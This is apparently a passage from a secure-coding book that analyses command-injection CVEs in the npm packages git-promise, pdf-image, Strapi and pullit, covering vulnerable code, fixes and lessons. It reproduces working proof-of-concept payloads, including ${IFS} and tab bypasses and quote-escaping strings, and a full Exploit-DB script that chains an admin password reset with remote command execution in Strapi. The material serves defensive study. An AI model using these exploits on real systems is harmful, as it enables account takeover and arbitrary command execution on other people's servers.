in which all versions of git-promise were affected by the following proof of concept exploitation:

var git = require("git-promise");

git("init;touch HACKED").then(function (branch) {


console.log(branch);
});

Chapter 5. CVE-2022-24376: Command Injection in git-promise | 43


Through the responsible disclosure process for this vulnerability report, update version git-
[email protected] was released which fixes the issue.

Specifically, lines 26 to 41 of index.js in the commit diff shed more light on how the problem was
mitigated:

1 From ce122adb7b7ceae3813abeedadf73d57a67d39ba Mon Sep 17 00:00:00 2001


2 From: Fabio Crisci <[email protected]>
3 Date: Sat, 29 Feb 2020 11:41:06 +0900
4 Subject: [PATCH] Upgrade to a more modern code. (#8)
5
6 diff --git a/index.js b/index.js
7 index a86695c..5be15db 100644
8 --- a/index.js
9 +++ b/index.js
10
11 - shell.exec(command, {silent: true}, function (code, output) {
12 - var args;
13 -
14 - if (options && options.cwd) {
15 - shell.config.silent = true;
16 - shell.popd();
17 - shell.config.silent = originalSilent;
18 - }
19 -
20 - if (callback.length === 1) {
21 - // Automatically handle non 0 exit codes
22 - if (code !== 0) {
23 - var error = new Error("'" + command + "' exited with error
code " + code);
24 - error.stdout = output;
25 - return deferred.reject(error);
26 + const execBinary = options.gitExec || "git";
27 + const execOptions = {
28 + cwd: options.cwd,
29 + windowsHide: true,
30 + };
31 + const execArguments = isString(commandOrArgs)
32 + ? commandOrArgs.split(" ")
33 + : commandOrArgs;
34 + return execFile(execBinary, execArguments, execOptions).then(
35 + ({stdout}) => callback(stdout, null),
36 + (error) => {
37 + if (callback.length === 1) {
38 + throw error;
39 + } else {

44 | Chapter 5. CVE-2022-24376: Command Injection in git-promise


40 + // The callback is interested in the error, try to catch
it.
41 + return callback("", error);

On the surface, this looks like a necessary fix for a command injection vulnerability. The prior codebase
made use of the exec() API and concatenated user input which flowed into the command variable
passed to the function.

The published fix addresses these concerns as follows:

1. The execFile() function replaces the single command string that flows into exec() with a hard-
coded (execBinary) variable to represent the git binary, as well as passing arguments
( execArguments) separately.

2. Command arguments passed via the 'commandOrArgs' variable are split based on a space character.
This means that each argument is a member of an array of 'execArguments' passed to the
command.

5.1. About the Security Vulnerability


Let’s see if we can apply lessons learned from prior vulnerabilities we reviewed and apply an exploit to
this Git-based library. Since this is a generic Promise-based wrapper, it makes sense that we try a known
vector such as --upload-pack along with a clone or fetch command. Here we go:

simple-git/src/lib/tasks/clone.ts

const git = require("git-promise");

git("fetch origin --upload-pack=touch /tmp/abcd",


{cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))

You may try running this proof of concept using the fixed [email protected] version, and you’d
indeed observe that the file /tmp/abcd isn’t created on disk. That’s due to the "split by space" logic that
the fix included, which renders the malicious payload of --upload-pack=touch /tmp/abcd into two
separate command line arguments: --upload-pack=touch, and /tmp/abcd, which don’t make sense
to the git program.

5.2. Exploiting the Security Vulnerability


While the fix employs a safe API pattern for executing system processes, as well as including active

Chapter 5. CVE-2022-24376: Command Injection in git-promise | 45


sanitization using the space character array, we can still find ways to circumvent it.

One of the first proof of concept exploits that takes advantage of the incomplete fix in git-
[email protected] is as simple as passing input where the separator is tabs instead of spaces. Consider
the following code:

const git = require("git-promise");

// Use a tab control character instead of space


// to separate between the touch command and its argument
git("fetch origin --upload-pack=touch /tmp/abcd",
{cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))

If you copy and paste this code properly, you’ll notice that there’s a TAB control character employed
between "touch" and "/tmp/abcd". Don’t mistake that for a space. If you are typing this code manually,
be sure to hit the tab key, and then run the program.

Developers can further apply sanitization logic and filter both spaces and tabs. That seems like an
effective defense against command injection. Except when it isn’t. Knowledgeable command-line experts
with deep knowledge of special shell characters could circumvent these sanitizer functions.

Consider the following exploit payload:

const git = require("git-promise");

// Use the shell's predefined separator ${IFS}


// to escape the whitespace splitting logic
git("fetch origin --upload-pack=touch${IFS}/tmp/abcd-new",
{cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))

With this program’s code, the "split by spaces" logic fails and simply passes --upload
-pack=touch${IFS}/tmp/abcd-new as a valid command-line argument to the git program.

The ${IFS} string has a special meaning when used in shell environments. It’s an acronym for Internal
Field Separator, and the ${} string tells the shell to evaluate the environment’s IFS variable available to
the shell. By default, a field separator is represented by, you guessed it, a space character.

5.3. Reviewing the Security Fix


Unfortunately, the git-promise package has not been actively maintained and includes no security
fixes. The last functional commit to the repository was Feb 29, 2020 with the release of version 1.0.0. As

46 | Chapter 5. CVE-2022-24376: Command Injection in git-promise


it currently stands, all versions of the package are vulnerable to the command injection attack depicted
in CVE-2022-24376.

While maintainers of open-source packages may not have the time to actively code a security fix or
publish updated versions even if provided with one. However, there are still ways to help the community
and lower the risk of other developers using a vulnerable package.

One such way is to update the project’s README file to include a disclaimer about the security
vulnerability. This serves as a warning to developers who survey the project. It is good practice for open-
source projects, given that no other security fix is available as mitigation.

On May 2022, the git-promise project received and merged a pull request to add a security disclaimer
and let its users know of the security risk.

Figure 9. A security disclaimer added to the git-promise project README

Chapter 5. CVE-2022-24376: Command Injection in git-promise | 47


5.4. Lessons Learned
The discovery of a Command Injection vulnerability in the git-promise npm package reminds us of the
importance of input validation and sanitization.

The vulnerability was due to user input not being properly sanitized before being passed to the exec()
function. This allowed an attacker to inject arbitrary commands into the function. A prior security fix
involved replacing the exec() function with execFile() and passing arguments separately as mitigation.
However, that was not enough and left the package vulnerable.

The use of sanitizer logic such as splitting or completely filtering space or tab control characters isn’t an
effective way to guard against Command Injection or Argument Injection attacks.

It is interesting to note that the overall popularity of the git-promise project has declined since this
vulnerability was reported:

1. In March 2022, this security vulnerability identified as CVE-2022-24376 was publicly disclosed.

2. In April 2022, the package had 54,286 monthly downloads.

3. In May 2022, the package’s GitHub page was updated with a security disclaimer.

4. By March 2023, monthly downloads had dropped to 8,668. This is a steep 84% decrease in the
number of downloads over time.

Not to confuse correlation with causation, but it is interesting to note that the popularity of the git-
promise project has been on the decline since this vulnerability was reported and hopefully helped to
raise awareness of the security risk and deter developers from using the package.

Figure 10. git-promsie monthly downloads up to March 2023

As a final note, this vulnerability highlights the value of responsible security disclosure as well as the
maintainers' proactive involvement in lowering the security risk even when they are unable to publish a
security fix.

48 | Chapter 5. CVE-2022-24376: Command Injection in git-promise


Chapter 6

CVE-2018-3757: Command Injection in pdf-


image

The npm package pdf-image, describes itself as a library that provides an interface to convert PDF pages
to PNG files in Node.js using ImageMagick.

It reached peak popularity in 2020 with 430,543 yearly downloads, according to npm-stat.com.

Figure 11. The pdf-image npm package downloads per year

Up to January 2022, it had 1,307,246 downloads. While its use by developers and end-users has
decreased significantly, as of April 2022 it still captured over 20,000 monthly downloads.

There’s a fascinating story that the above downloads graph fails to capture - the rise in usage for this
library in the face of existing publicly known vulnerabilities that impact all known versions of this library.

Following is an annotated chart showing the date in which the vulnerability was publicly disclosed as
CVE-2018-3757:

Chapter 6. CVE-2018-3757: Command Injection in pdf-image | 49


Figure 12. Point-in-time downloads for the pdf-image npm package when the vulnerability was
disclosed

Despite pdf-image harboring publicly known vulnerabilities, its usage has continued to grow. This raises
concerns, such as:

1. Are developers unaware of which software components and open-source libraries they are using?

2. Are developers and security operations not following security best practices such as integrating
Software Composition Analysis (SCA) tools into their development and Continuous Integration (CI)
processes? These tools help find, alert, and automatically apply fixes to third-party open-source
libraries by suggesting upgrades to fixed versions.

Let’s continue exploring this library’s security aspects. One example of usage is documented on the 'pdf-
image' project page. It shows a web service that converts PDF files on-the-fly, and returns a PNG image:

1 app.get(/(.*\.pdf)\/([0-9]+).png$/i, function (req, res) {


2 var pdfPath = req.params[0];
3 var pageNumber = req.params[1];
4
5 var PDFImage = require("pdf-image").PDFImage;
6 var pdfImage = new PDFImage(pdfPath);
7
8 pdfImage.convertPage(pageNumber).then(function (imagePath) {
9 res.sendFile(imagePath);
10 }, function (err) {
11 res.send(err, 500);
12 });
13 });

The above code snippet demonstrates a file path provided to the PDFImage() constructor. This then
allows calling the method pdfImage.convertPage() which returns the post-processed image file.

50 | Chapter 6. CVE-2018-3757: Command Injection in pdf-image


6.1. About the Security Vulnerability
What does a command injection vulnerability have to do with image conversion? To that end we need to
introduce you to a library called ImageMagick, which pdf-image relies on.

ImageMagick is a powerful and versatile open-source software suite that allows users to create, edit, and
convert raster and vector images in a variety of formats. It includes a range of command-line tools and a
programming interface that allows developers to integrate image processing capabilities into their
applications using language bindings. It is widely used and highly regarded in the industry, and is
available on a variety of platforms, including Windows, macOS, and GNU/Linux.

The npm package pdf-image relies on ImageMagick but does not use its native programming interface.
Instead, it uses ImageMagick’s command-line tools: convert and pdfinfo commands, to perform its
image processing tasks.

NOTE

Some GNU/Linux distributions and Docker-based container images don’t require explicit

installation of the ImageMagick library because it is already bundled as part of the operating
system dependencies.

The responsible disclosure report pointed out the following source code as vulnerable:

pdf-image/index.js

1 constructGetInfoCommand: function () {
2 return util.format(
3 "pdfinfo \"%s\"",
4 this.pdfFilePath
5 );
6 },

However, why is that code vulnerable? It seems that there’s a genuine attempt, albeit lacking, to protect
against command injection by wrapping the file’s path in quotes. This security control in the form of
input sanitization occurs before a command shell is instantiated and the user’s command is executed
(the library uses child_process.exec).

So, in essence a file path input such as my-salary.pdf; touch /tmp/pwned would be passed as a
string of text to the pdfinfo command as follows:

$ pdfinfo "my-salary.pdf; touch /tmp/pwned"

Chapter 6. CVE-2018-3757: Command Injection in pdf-image | 51


You can see that double quotes surround the string of text that is supposed to be the file path argument
provided to the pdfinfo command. Given that no such file exists, the command injection attempt fails.

Exploring further the library’s logic, the constructGetInfoCommand() function call gets called by
numberOfPages(), which is part of the core PDF file conversion logic:

pdf-image/index.js

1 convertFile: function () {
2 var pdfImage = this;
3 return new Promise(function (resolve, reject) {
4 pdfImage.numberOfPages().then(function (totalPages) {
5 var convertPromise = new Promise(function (resolve, reject){
6 var imagePaths = [];
7 for (var i = 0; i < totalPages; i++) {
8 pdfImage.convertPage(i).then(function(imagePath){
9 imagePaths.push(imagePath);
10 if (imagePaths.length === parseInt(totalPages)){
11 imagePaths.sort();
12 resolve(imagePaths);
13 }
14 }).catch(function(error){
15 reject(error);
16 });
17 }
18 });

It is interesting to note that developers sometimes rush to obvious security controls they know of and
completely miss the proper way of mitigating a security vulnerability. As such, we’d have expected that
the convertPage() function here would be sanitized as it indeed calls Node.js API’s exec() as follows:

pdf-image/index.js

1 exec(convertCommand, function (err, stdout, stderr) {


2 if (err) {
3 return reject({
4 message: "Failed to convert page to image",
5 error: err,
6 stdout: stdout,
7 stderr: stderr
8 });
9 }
10 return resolve(outputImagePath);
11 });

52 | Chapter 6. CVE-2018-3757: Command Injection in pdf-image


And our expectations would’ve been correct, because prior to passing convertCommand to exec()
directly, it passes through the following sanitization logic:

pdf-image/index.js

1 constructConvertCommandForPage: function (pageNumber) {


2 var pdfFilePath = this.pdfFilePath;
3 var outputImagePath = this.getOutputImagePathForPage(pageNumber);
4 var convertOptionsString = this.constructConvertOptions();
5 return util.format(
6 "%s %s\"%s[%d]\" \"%s\"",
7 this.useGM ? "gm convert" : "convert",
8 convertOptionsString ? convertOptionsString + " " : "",
9 pdfFilePath, pageNumber, outputImagePath
10 );
11 },

As you can see, an attempt is made to mitigate injection attacks by wrapping the file path in double
quotes.

6.2. Exploiting the Security Vulnerability


So, how do you counter-attack a double quotes constraint?

Here’s the proof-of-concept exploit provided by the original security researcher, N B Sri Harsha:

1 var PDFImage = require("pdf-image").PDFImage;


2 var pdfImage = new PDFImage("asd.pdf\"; touch /tmp/hacked\"");
3
4 pdfImage.numberOfPages().then(function (imagePath) {
5 console.log(imagePath);
6 })

A string input that is as simple as escaping the stringified shell command using a backslash. Additionally,
the command is closed with the required extra double quotes to ensure validity.

If you run this Node.js command-line program with a vulnerable version of pdf-image you’ll see the file
/tmp/hacked created on disk.

Chapter 6. CVE-2018-3757: Command Injection in pdf-image | 53


6.3. Reviewing the Security Fix
The security researcher provided a recommended code fix that addresses all vulnerable function usage
of exec() in the original source code of pdf-image.

The fix commit is available in this GitHub fork, which has also been raised as a pull request to the
upstream repository. However, it hasn’t been merged and no fixed pdf-image version was published.

Figure 13. The GitHub pull request attempts to fix the pdf-image command injection vulnerability

54 | Chapter 6. CVE-2018-3757: Command Injection in pdf-image


6.4. Lessons Learned
Two primary lessons can be learned from the pdf-image command injection vulnerability:

1. A lack of understanding of how third-party libraries and tools work and integrate can lead to security
vulnerabilities. In this case, the pdf-image package used ImageMagick’s pdfinfo command-line
tool to extract metadata from PDF files.

The pdf-image package relied on the exec() Node.js API to execute the pdfinfo command, which
was vulnerable to command injection attacks.

2. Applying an incorrect security control to mitigate a security risk. The developer of pdf-image
attempted to mitigate the command injection vulnerability by wrapping the file path in double
quotes, in an attempt to avoid the shell from interpreting the file path as a command. However, this
was not sufficient to prevent a security vulnerability. The developer should have used a more robust
approach, such as using the execFile() function instead of exec(). This Node.js API takes an array
of arguments instead of a string. This would have prevented the command injection vulnerability.

Specifically, this learning should be a lesson on why you shouldn’t rely on client-side input validation
or sanitization as the original code in the package attempted.

Chapter 6. CVE-2018-3757: Command Injection in pdf-image | 55


Chapter 7

CVE-2019-19609: Command Injection in Strapi

Strapi is an open-source headless Content Management System (CMS), built on-top of the Node.js
runtime, allowing developers to easily build their content backend APIs so they can connect their own
frontend to drive those.

This open-source project developed well for Strapi, with more than 44.6k stars on GitHub. It has an
active community with daily commits, discussions, and source code contributions.

Figure 14. Active development of the Strapi project on GitHub

7.1. About the Security Vulnerability


A command injection vulnerability in a high-profile project like Strapi is a very worrying security concern,
and makes it even more intriguing to look into and understand the reasons behind it.

Why and where would the Strapi project need to resort to executing system processes if it’s a web
application project?

56 | Chapter 7. CVE-2019-19609: Command Injection in Strapi


The CVE report describes the vulnerability as follows:

The Strapi framework before 3.0.0-beta.17.8 is vulnerable to Remote Code


Execution in the Install and Uninstall Plugin components of the Admin panel.
This is because it does not sanitize the plugin name, and attackers can inject
arbitrary shell commands to be executed by the execa function.

— CVE-2019-19609

This provides more context and clarity as to where the vulnerability manifests. Strapi has a marketplace
of plugins, and to support that it needs to provide back-office administrators with a management
interface to install plugins, configure them and so on.

Let’s look at the source code that makes installing and uninstalling plugins work, which is part of the
strapi-admin package, and located at packages/strapi-admin/controllers/Admin.js:

packages/strapi-admin/controllers/Admin.js

1 const execa = require('execa');


2
3 async installPlugin(ctx) {
4 try {
5 const { plugin } = ctx.request.body;
6 strapi.reload.isWatching = false;
7
8 strapi.log.info(`Installing ${plugin}...`);
9 await execa('npm', ['run', 'strapi', '--', 'install', plugin]);
10
11 ctx.send({ ok: true });
12
13 strapi.reload();
14 } catch (err) {
15 strapi.log.error(err);
16 strapi.reload.isWatching = true;
17 ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }] }]);
18 }
19 },

It appears that the plugin variable is a string of text for the name of a plugin. This plugin name is
passed through the function call to execa() which executes an npm script to install it.

The code depicted here dealing with process execution should raise a red flag. It’s generally not a wise
idea to execute system processes from a web application as we’ve already learned in earlier vulnerability
chapters.

Chapter 7. CVE-2019-19609: Command Injection in Strapi | 57


The execa() function is imported into the code base from the execa npm package. It’s a general
purpose process execution Node.js library that allows you to execute system processes as an improved
wrapper on top of Node.js' core child_process APIs.

Does the security vulnerability lie within execa or elsewhere? More on that mystery as we dive deeper
into exploiting this vulnerability.

7.2. Exploiting the Security Vulnerability


Looking at the CVE report for Strapi, we don’t find any mention of a proof-of-concept or exploit code that
we can easily test and run. However, the Snyk Vulnerabilities Database entry for this security issue is
useful in curating and capturing pertinent information, such as whether an exploit exists in the wild:

Figure 15. Strapi’s arbitrary code injection CVE on Snyk Vulnerabilities Database

Observe the Exploit Maturity in the top right. This hinting that there’s potentially an actual exploit code
that can be easily weaponized against you in a semi-automated, or fully automated fashion. This
database entry also references Exploit DB, is a well-known marketplace for security exploits.

Let’s look at the complete exploit code linked from the above:

# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE)


(Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/

58 | Chapter 7. CVE-2019-19609: Command Injection in Strapi


# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
print("[-] Wrong number of arguments provided")
print("[*] Usage: python3 exploit.py <URL>\n")
sys.exit()

class Terminal(Cmd):
prompt = "$> "
def default(self, args):
code_exec(args)

def check_version():
global url
print("[+] Checking Strapi CMS Version running")
version = requests.get(f"{url}/admin/init").text
version = json.loads(version)
version = version["data"]["strapiVersion"]
if version == "3.0.0-beta.17.4":
print("[+] Seems like the exploit will work!!!\n[+] Executing
exploit\n\n")
else:
print("[-] Version mismatch trying the exploit anyway")

def password_reset():
global url, jwt
session = requests.session()
params = {"code" : {"$gt":0},
"password" : "SuperStrongPassword1",
"passwordConfirmation" : "SuperStrongPassword1"
}
output = session.post(f"{url}/admin/auth/reset-password", json = params
).text
response = json.loads(output)
jwt = response["jwt"]
username = response["user"]["username"]
email = response["user"]["email"]

Chapter 7. CVE-2019-19609: Command Injection in Strapi | 59


if "jwt" not in output:
print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
sys.exit(1)
else:
print(f"[+] Password reset was successfully\n[+] Your email is:
{email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+]
Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
global jwt, url
print("[+] Triggering Remote code executin\n[*] Rember this is a blind
RCE don't expect to see output")
headers = {"Authorization" : f"Bearer {jwt}"}
data = {"plugin" : f"documentation && $({cmd})",
"port" : "1337"}
out = requests.post(f"{url}/admin/plugins/install", json = data, headers
= headers)
print(out.text)

if __name__ == ("__main__"):
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
check_version()
password_reset()
terminal = Terminal()
terminal.cmdloop()

Let’s unwind this code and see what’s going on.

This exploit code, written in Python, chains two vulnerabilities to amplify the attack. The command
injection CVE (CVE-2019-19609) that we’re learning about in this chapter requires administrator-level
access to the plugin management area, but it’s concerning nonetheless, especially if Strapi is hosted in a
shared server environment which means the attacker can execute commands on the host and
potentially access other users' installations.

But to exploit the command injection vulnerability, how do we gain access to Strapi’s plugin
administration interface? The weaponized code exploits an improper access control vulnerability
reported previously via CVE-2019-18818. That vulnerability is caused by using a MongoDB database and
insecure coding conventions that result in noSQL injection.

The exploitation follows these steps:

1. Detect if a vulnerable Strapi version exists at a given URL.

2. Exploit CVE-2019-18818 through a noSQL injection vulnerability which resets the admin user’s

60 | Chapter 7. CVE-2019-19609: Command Injection in Strapi


password to one that you specify.

3. Having admin access, exploit CVE-2019-19609 to gain command injection in the plugins management
web interface and run commands on the host that serves the Strapi web application.

Let’s analyze the payload code that exploits the command injection vulnerability:

headers = {"Authorization" : f"Bearer {jwt}"}


data = {"plugin" : f"documentation && $({cmd})",
"port" : "1337"}
out = requests.post(f"{url}/admin/plugins/install", json = data, headers
= headers)

This code taken from the exploit program shows how the data variable specifies a JSON data object with
a key of plugin and a value of documentation && $({cmd}) . The nested cmd variable is replaced
with the command to be injected.

The security researcher who reported this vulnerability, shows an example in their write-up, of how that
HTTP POST request would be presented as a JSON payload:

{
"plugin": "documentation && $(whoami > /tmp/whoami)",
"port":"1337"
}

The && character in the payload is a logical AND operation notation in shells. This allows the attacker to
chain multiple commands together. This means that the code on the right-hand side will be executed
only if the code before it returns a successful exit status. In this case, the first command-line argument,
documentation, was a valid plugin name that the Strapi command would install. The second command
line argument, $(whoami > /tmp/whoami) , would be executed only if the first command succeeded.

By exploiting the vulnerability in the plugin name, an attacker could execute any arbitrary shell
command they wanted, including malicious code that could compromise the system running the execa
library.

Now that we understand the vector of attack and specifically the payload that’s being sent to the server,
let’s take a look again at the code that’s vulnerable to this attack:

packages/strapi-admin/controllers/Admin.js

1 const execa = require('execa');


2
3 async installPlugin(ctx) {
4 try {

Chapter 7. CVE-2019-19609: Command Injection in Strapi | 61


5 const { plugin } = ctx.request.body;
6 strapi.reload.isWatching = false;
7
8 strapi.log.info(`Installing ${plugin}...`);
9 await execa('npm', ['run', 'strapi', '--', 'install', plugin]);

If we were to piece the puzzle together from user input and into the code, we’ll get the following:

await execa('npm', ['run', 'strapi', '--', 'install', 'documentation &&


$(whoami > /tmp/whoami)']);

This function signature of providing a command and an array of arguments is common to the
recommended secure Node.js API execFile, because it provides a way to separate the command from
its optional arguments and handles each command-line argument in isolation. As such, you’d expect that
the Strapi command-line, denoted as strapi, would treat the user input of documentation &&
$(whoami > /tmp/whoami) as the plugin name, and since that doesn’t actually exist, it would fail. So
then why is this line of code vulnerable to command injection?

It’s easy to test the hypothesis of whether the issue lies within the execa library or elsewhere. Having
installed the npm package, run the following Node.js code in a newly created file called test.js:

const execa = require('execa');

await execa('ls', ['documentation && $(whoami > /tmp/whoami)']);

Next, create a file called 'documentation'. Its content doesn’t matter, and it can be empty. This ensures
that the ls command to list files in the current directory will run successfully and in turn will trigger the
right-hand side of the && operator, which is the command injection payload.

Now run the test code:

$ node test.js

Did it trigger a newly created file at /tmp/whoami? It didn’t.

As we can see in the execa package source code, it offloads process execution to the spawn function
from Node.js’s child_process API:

execa/index.js

module.exports = (cmd, args, opts) => {

62 | Chapter 7. CVE-2019-19609: Command Injection in Strapi


const parsed = handleArgs(cmd, args, opts);
const {encoding, buffer, maxBuffer} = parsed.opts;
const joinedCmd = joinCmd(cmd, args);

let spawned;
try {
spawned = childProcess.spawn(parsed.cmd, parsed.args, parsed.opts);

The spawn API is a low-level API used to spawn system processes and it allows you to run commands
inside a shell if the shell option is set to true (or to a string, specifying the shell’s program path).
However, the execa package doesn’t set the shell option to true nor does any other shell program.

So, if the issue doesn’t lie with the execa package, where does the vulnerability come from?

Let’s rewind to the original Strapi code which was vulnerable:

await execa('npm', ['run', 'strapi', '--', 'install', 'documentation &&


$(whoami > /tmp/whoami)']);

This code executes the npm package manager as a command, along with the run command-line
argument. It does this to execute run-scripts which are either life-cycle or other arbitrary scripts defined
in the package.json file, such as:

{
"scripts": {
"start": "node server.js",
"strapi": "strapi",
"hello": "ls"
}
}

The npm run command is a convenient way to run those scripts by their aliases which is what happens
when npm run strapi is invoked. The -- command-line argument instructs the npm package manager
to stop parsing arguments and passing them to the script being invoked. And thus, executing the
command npm run strapi executes strapi install documentation && $(whoami >
/tmp/whoami). In this scenario, and due to the way the npm package manager implemented its support
for run-scripts, it executes them inside a shell, which is why the command injection payload is executed.

NOTE

The npm package manager uses the @npmcli/run-script package to manage the execution of
run-scripts as well as the @npmcli/promise-spawn package to execute system processes. The

Chapter 7. CVE-2019-19609: Command Injection in Strapi | 63


@npmcli/run-script source code specifically defines a set of arguments that include running
commands inside a shell (code trimmed for brevity):

lib/make-spawn-args.js

const makeSpawnArgs = options => {


const {
scriptShell = true,
env = {},
cmd,
args = [],
} = options

const spawnEnv = setPATH(path, {


...process.env,
...env
})

const spawnOpts = {
env: spawnEnv,
cwd: path,
shell: scriptShell,
}

return [cmd, args, spawnOpts]


}

module.exports = makeSpawnArgs

7.3. Reviewing the Security Fix


The fix to the code in pull request #4636 for the command injection CVE-2019-19609 vulnerability that
we reviewed here is a security control in the form of input sanitization.

Specifically, the maintainers have chosen to employ regular expression validation before invoking the
install or uninstall plugin actions.

packages/strapi-admin/controllers/Admin.js

1 async installPlugin(ctx) {
2 try {
3 const { plugin } = ctx.request.body;

64 | Chapter 7. CVE-2019-19609: Command Injection in Strapi


4
5 if (!/^[A-Za-z0-9_-]+$/.test(plugin)) {
6 return ctx.badRequest('Invalid plugin name');
7 }
8
9 strapi.reload.isWatching = false;
10
11 strapi.log.info(`Installing ${plugin}...`);
12 await execa('npm', ['run', 'strapi', '--', 'install', plugin]);
13 ctx.send({ ok: true });
14 strapi.reload();
15 } catch (err) {
16 strapi.log.error(err);
17 strapi.reload.isWatching = true;
18 ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }] }]);
19 }
20 }

The regular expression of /^[A-Za-z0-9_-]+$/ limits plugin names to be installed to allow only:

1. Case-insensitive alphanumeric characters.

2. The characters _ and -.

In spite of the fact that this is a valid fix, it wouldn’t be unreasonable to question whether the
maintainers had a clear understanding of why the vulnerability manifested in the first place. Were there
specific reasons they chose to fix the vulnerability in this way rather than invoking the strapi
command-line tool directly?

A more appropriate security fix would have been to forego npm’s run-scripts feature and directly invoke
the strapi command-line tool to install the plugin, such as:

async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;

strapi.reload.isWatching = false;

strapi.log.info(`Installing ${plugin}...`);
await execa('strapi', ['install', plugin]);

This would have prevented the security vulnerability from manifesting in the first place.

Chapter 7. CVE-2019-19609: Command Injection in Strapi | 65


7.4. Lessons Learned
The CVE-2019-19609 vulnerability report for Strapi demonstrates the importance of sanitizing user input
when passing it to system commands to avoid command injection attacks. In the case of Strapi, the
vulnerability allowed an attacker to inject arbitrary shell commands to be executed by the execa
function. This resulted in a remote code execution vulnerability.

This vulnerability was discovered in the strapi-admin package, which manages plugins in the Strapi
marketplace. The impact of this vulnerability would be to allow an attacker to execute arbitrary
commands with the permissions of the user running the Strapi application.

The following are insights developers can gain from this vulnerability:

1. Mindful of system commands in their applications. Ensure that you use secure and preferred system
process APIs such as execFile, over exec and spawn when executing system commands. This is in
cases where shell expansion is not required.

2. Regardless of how you execute system commands, it is important not to invoke npm’s run-scripts
directly with npm run as that will execute the command inside a shell and expose you to
vulnerabilities associated with command injection.

3. Before passing sensitive API calls such as system processes to sensitive API calls, you should treat
user input with care and follow proper sanitization practices when dealing with user input.

4. When chaining multiple exploits together, it is imperative to be aware of the increased attack
surface. It is possible that attackers can gain unauthorized access to the system or damage it
altogether.

5. Understanding how exploits are weaponized and made available in hacker forums and open
marketplaces can help organizations better factor cyber attack risks.

6. Command injection vulnerabilities can have severe consequences from unexpected data sources. In
this case, the user controls the name of their plugin, resulting in a command injection attack. It is
imperative to be diligent in checking for user input across all parts of your application.

In conclusion, Strapi’s vulnerability serves as a reminder to developers that even well-known and well-
established projects can contain security vulnerabilities, and that it is important to adopt secure coding
practices and stay up-to-date with the latest security patches and updates to ensure your applications'
security.

66 | Chapter 7. CVE-2019-19609: Command Injection in Strapi


Chapter 8

CVE-2018-25083: Command Injection in pullit

The pullit package on npm, also known as Pull It, is a terminal user interface (TUI) that displays and pulls
remote Git branches of open GitHub pull requests in Github repositories.

This command-line tool allows developers to quickly browse a repository’s open pull requests and select
one by its title to switch your local Git working branch across.

Figure 16. A screenshot of pullit CLI in action

Command line (CLIs) tools are usually not as ubiquitous as application libraries due to their nature of
being less of a hoisted dependency that trickles into an application’s dependency tree. Another notable
information about CLIs is that they are rarely open to Internet-public user interaction like web
applications are, and so they are often ignored as a significant threat. As such, it is common for
developers to wave off such vulnerabilities and deeming any vulnerability associated with CLIs as false
positive.

NOTE

The argument provided by developers or security practitioners who rule out vulnerabilities in

CLIs is most often that if an attacker can provide command line arguments as well as bee able

Chapter 8. CVE-2018-25083: Command Injection in pullit | 67


to run the CLI the way they want, it’s already game over.

However, that’s sometimes an understatement as we’ll learn with the case of a command
injection found in the open-source pullit npm package.

8.1. About the Security Vulnerability


[1]
In 2018, as a command-line tool enthusiast building terminal user interface applications and CLIs
myself, I heard about pullit and started using it for my own projects.

Developers being curious creatures, I poked into its source code to learn how it manages its visual
interface. However, I didn’t expect to find a potential command injection flow in the process. The
following is the relevant source code at the time, trimmed down for brevity:

pullit/src/index.js

1 const GitHubApi = require('github');


2 const Menu = require('terminal-menu');
3 const {
4 execSync
5 } = require('child_process');
6 const parse = require('parse-github-repo-url');
7
8 class Pullit {
9 fetch(id) {
10 return this.github.pullRequests
11 .get({
12 owner: this.owner,
13 repo: this.repo,
14 number: id
15 })
16 .then(res => {
17 const branch = res.data.head.ref;
18 execSync(
19 `git fetch origin pull/${id}/head:${branch} && git checkout
${branch}`
20 );
21 })
22 .catch(err => {
23 console.log('Error: Could not find the specified pull request.');
24 });
25 }
26

68 | Chapter 8. CVE-2018-25083: Command Injection in pullit


27 display() {
28 this.fetchRequests().then(results => {
29 const menu = Menu({
30 width: process.stdout.columns - 4,
31 x: 0,
32 y: 2
33 });
34 menu.reset();
35 menu.write('Currently open pull requests:\n');
36 menu.write('-------------------------\n');
37
38 results.data.forEach(element => {
39 menu.add(`${element.number} - ${element.title} - ${element.head
.user.login}`);
40 });
41
42 menu.add(`Exit`);
43
44 menu.on('select', label => {
45 menu.close();
46 this.fetch(label.split(' ')[0]);
47 });
48 }
49 }
50
51 module.exports = Pullit;

Perhaps the use of execSync = require('child_process') provides some hint at the risk involved.
Specifically, line 19 in the above source code executes the following Git system commands:

execSync(
`git fetch origin pull/${id}/head:${branch} && git checkout ${branch}`
);

However, how would an external threat actor interact with it? Here is where things get interesting and
educate us on how user input flows into applications, or CLIs in this case, in unexpected ways.

At this point, I wondered what if I could create Git branches with special shell-related characters in them?
Even if I could do that, I’d need to push them to a GitHub repository for them to be used in an attack on
developers. Won’t GitHub filter out these weirdly named Git branches?

Let’s explore an idea for a branch name which, when used as the source for a command execution API
like Node.js’s execSync(), will trigger arbitrary user-controlled system commands:

Chapter 8. CVE-2018-25083: Command Injection in pullit | 69


";{echo,hello,world}>/tmp/c"

This input is a fully acceptable and legitimate branch name. In fact, you can run the following command
to demonstrate how to create a Git branch with this name in your local development environment:

git checkout -b ";{echo,hello,world}>/tmp/c"

When the above command is run as-is, the branch name part, identified by the command-line value
passed to the -b command flag, is properly quoted and treated as a branch name to be created.

However, what happens when the same input is passed into a process execution API such as the
following code?

const branch = ";{echo,hello,world}>/tmp/c"


execSync(
`git checkout ${branch}`
);

